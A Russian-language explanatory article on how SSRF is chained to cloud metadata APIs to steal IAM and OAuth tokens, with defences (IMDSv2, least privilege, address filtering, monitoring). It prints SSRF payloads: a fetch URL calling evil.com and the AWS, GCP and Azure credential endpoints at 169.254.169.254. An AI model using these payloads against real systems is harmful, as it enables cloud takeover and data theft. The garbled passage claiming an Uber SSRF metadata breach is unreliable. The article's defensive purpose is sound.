SSRF → Metadata API → Credentials Leak: как уязвимость SSRF приводит к утечке облачных ключей

Одной из самых опасных и недооценённых атак на облачную инфраструктуру является цепочка, в которой злоумышленник использует SSRF для доступа к Metadata API, после чего получает облачные ключи, роли и токены. Такая атака позволяет полностью захватить облако, выполнять любые API‑операции, читать хранилища, запускать виртуальные машины, удалять данные и выполнять действия от имени легитимных сервисных аккаунтов.

Эта уязвимость стала причиной множества крупных инцидентов, включая атаки на Capital One, Uber и другие компании. Проблема актуальна для всех облаков: AWS, GCP, Azure, Alibaba Cloud — в каждой платформе есть Metadata API, с которым можно взаимодействовать через внутренний адрес (например, 169.254.169.254).

В этой статье мы подробно разберём цепочку атаки «SSRF → Metadata API → Credentials Leak»: как она работает, как злоумышленники эксплуатируют сервисы, какие конфигурации делают систему уязвимой и что нужно сделать, чтобы защититься.

Что такое Metadata API

Metadata API — это служба внутри облачной платформы, доступная виртуальным машинам, контейнерам и функциям. Она предоставляет информацию о:

• роль IAM, назначенной машине или контейнеру;
• временных токенах доступа;
• данных инстанса (hostname, region, user‑data);
• конфигурации сети, дисков, сервисных учёток;
• сервисных OAuth‑токенах (в GCP);
• managed identities (в Azure).

Доступ осуществляется через специальные внутренние IP‑адреса, например:

169.254.169.254

Адрес не существует в Интернете — он доступен только «изнутри» виртуальной машины. Поэтому многие разработчики ошибочно предполагают, что он безопасен.

Но если приложение подвержено SSRF — злоумышленник получает возможность отправлять запросы с сервера, и это открывает доступ к Metadata API.

Что такое SSRF и почему оно опасно

SSRF (Server-Side Request Forgery) — это уязвимость, при которой злоумышленник заставляет сервер выполнять HTTP‑запросы к произвольным адресам. Если сервер может отправлять запросы от своего имени, он становится прокси для атакующего.

С помощью SSRF злоумышленник может:

• обращаться к внутренним сервисам, недоступным из Интернета;
• обходить firewall и ACL;
• сканировать внутреннюю сеть;
• доступаться до Metadata API и красть ключи.

Это делает SSRF особенно опасным в облачных средах, где доступ к Metadata API может дать злоумышленнику полный контроль над инфраструктурой.

Классическая цепочка атаки: SSRF → Metadata API → Утечка ключей

Рассмотрим наиболее типичную последовательность атак.

Шаг 1: Злоумышленник находит SSRF

Обычно SSRF возникает в функционале, который:

• загружает изображения по URL;
• парсит удалённые ссылки;
• делает HTTP‑запросы по пользовательскому адресу;
• интегрируется с внешними сервисами;
• работает с веб‑хуками или callback‑URL.

Например, приложение принимает параметр url= и скачивает оттуда данные:

https://example.com/fetch?url=http://evil.com/payload

Злоумышленник подставляет внутренний адрес:

url=http://169.254.169.254/latest/meta-data/

Если сервер делает запрос — SSRF есть.

Шаг 2: Обращение к Metadata API

Metadata API позволяет получить временные токены IAM‑ролей. Например, в AWS:

http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

В GCP:

http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

В Azure:

http://169.254.169.254/metadata/identity/oauth2/token

Шаг 3: Утечка ключей и получение доступа к облаку

С помощью SSRF злоумышленник запрашивает токены и получает:

• AccessKeyId
• SecretAccessKey
• SessionToken
• Expiration

Эти ключи позволяют выполнять любые API‑запросы в зависимости от привилегий IAM роли инстанса.

Шаг 4: Эскалация привилегий

Если роль обладает широкими правами — злоумышленник получает полный доступ к облаку:

• чтение S3/GCS/Blob контейнеров;
• управление виртуальными машинами;
• доступ к базам данных;
• создание новых ключей доступа;
• изменение IAM‑политик;
• разворачивание вредоносных ресурсов.

Отсюда начинается полный захват инфраструктуры.

Известные инциденты, связанные с этой атакой

Capital One (AWS)

В 2019 году произошла крупная утечка данных Capital One. Злоумышленник использовал SSRF для доступа к Metadata API, получил IAM токены, и смог читать конфиденциальные данные из S3.

Причины:

• уязвимость SSRF в веб‑сервере;
• IAM‑роль, имеющая избыточные права (включая доступ к S3);
• отсутствие защиты IMDSv2.

Uber (GCP)

На машину Uber был запущен инцидент, в котором злоумышленник использовал SSRF, чтобы получить токены сервисного аккаунта через Metadata API, после чего получил доступ к внутренним сервисам Uber.

Alibaba Cloud и Azure инциденты

В других облаках происходили аналогичные случаи, поскольку принцип работы Metadata API одинаков.

Как злоумышленники используют украденные токены

Получив временные ключи, злоумышленник может выполнять API‑запросы в зависимости от привилегий роли.

Рассмотрим наиболее распространённые сценарии.

1. Чтение облачных хранилищ

Этот вектор используется почти всегда, так как компании часто держат документы, базы данных и логи в облачных хранилищах.

2. Удаление данных и шантаж

Некоторые атаки направлены на уничтожение данных, чтобы вымогать деньги.

3. Эскалация привилегий через IAM

Если роль позволяет изменять IAM политики — злоумышленник получает полный root‑доступ.

4. Сканирование внутренней сети облака

Метаданные помогают злоумышленнику определить сеть, регион, сервисы.

5. Установка постоянного скрытого доступа

Например, путем создания новых токенов или сервисных аккаунтов.

Ошибки конфигурации, которые приводят к атаке

Самые опасные ошибки:

• Использование IMDSv1 (AWS) — уязвим к SSRF;
• Сервисные аккаунты с высокими правами — дают злоумышленнику полный доступ;
• Отсутствие firewall для Metadata API;
• Приложения с SSRF, не прошедшие валидацию URL;
• Доступ к Metadata API без обязательных заголовков (GCP/Azure).

Если хотя бы один из этих факторов присутствует — инфраструктура уязвима.

Как защититься от атаки SSRF → Metadata API → Credentials Leak

Защита состоит из трёх уровней: приложения, инфраструктуры и IAM.

1. Защита приложения от SSRF

Основная защита:

• строго белый список URL;
• запрет локальных адресов (0.0.0.0/8, 127.0.0.0/8, 169.254.0.0/16);
• проверка DNS‑резолвинга;
• отключение возможности скачивать произвольные URL;
• проксирование всех запросов через backend с фильтрацией.

2. Ограничение прав IAM

Даже если SSRF и есть, вред минимален, если роль не имеет критических прав.

Лучший подход — принцип минимальных привилегий (Least Privilege):

• удалить wildcard действия и ресурсы;
• запретить доступ к IAM операциям;
• разделить роли для сервисов.

3. Защита Metadata API

В разных облаках механизмы отличаются.

В AWS:

• использовать IMDSv2 (обязательно);
• включить require‑session‑token;
• отключить IMDSv1;
• использовать firewall для блокировки 169.254.169.254;
• запретить исходящие запросы к метаданным для приложений.

В GCP:

• использование заголовка Metadata-Flavor: Google;
• firewall правила для VM;
• минимизация роли сервисного аккаунта;
• включить ограничение «Enable OS Login».

В Azure:

• заголовок Metadata: true;
• Managed Identity с минимальными правами;
• Network Security Groups для ограничения доступа.

4. Мониторинг и обнаружение атак

Необходимо мониторить:

• необычные запросы к Metadata API;
• обращения к 169.254.169.254 из приложений;
• получение токенов сервисных аккаунтов;
• действия с S3/GCS/Blob вне обычного сценария;
• создание новых ключей доступа.

Заключение

Цепочка атаки «SSRF → Metadata API → Credentials Leak» — это одна из наиболее опасных и часто эксплуатируемых уязвимостей в облачных инфраструктурах. Она не требует вредоносного кода, не зависит от операционной системы и использует легитимные API‑вызовы.

Основной вывод: даже небольшая SSRF становится критической, если роль инстанса имеет широкие права. Поэтому защита должна включать как устранение SSRF, так и правильную настройку IAM, а также обязательную защиту Metadata API.

Компании, которые следуют принципу минимальных привилегий, используют IMDSv2, ограничивают сервисные аккаунты и фильтруют запросы — значительно уменьшают риски komprometaции облака.

Правильная конфигурация облачного окружения делает подобные атаки практически невозможными.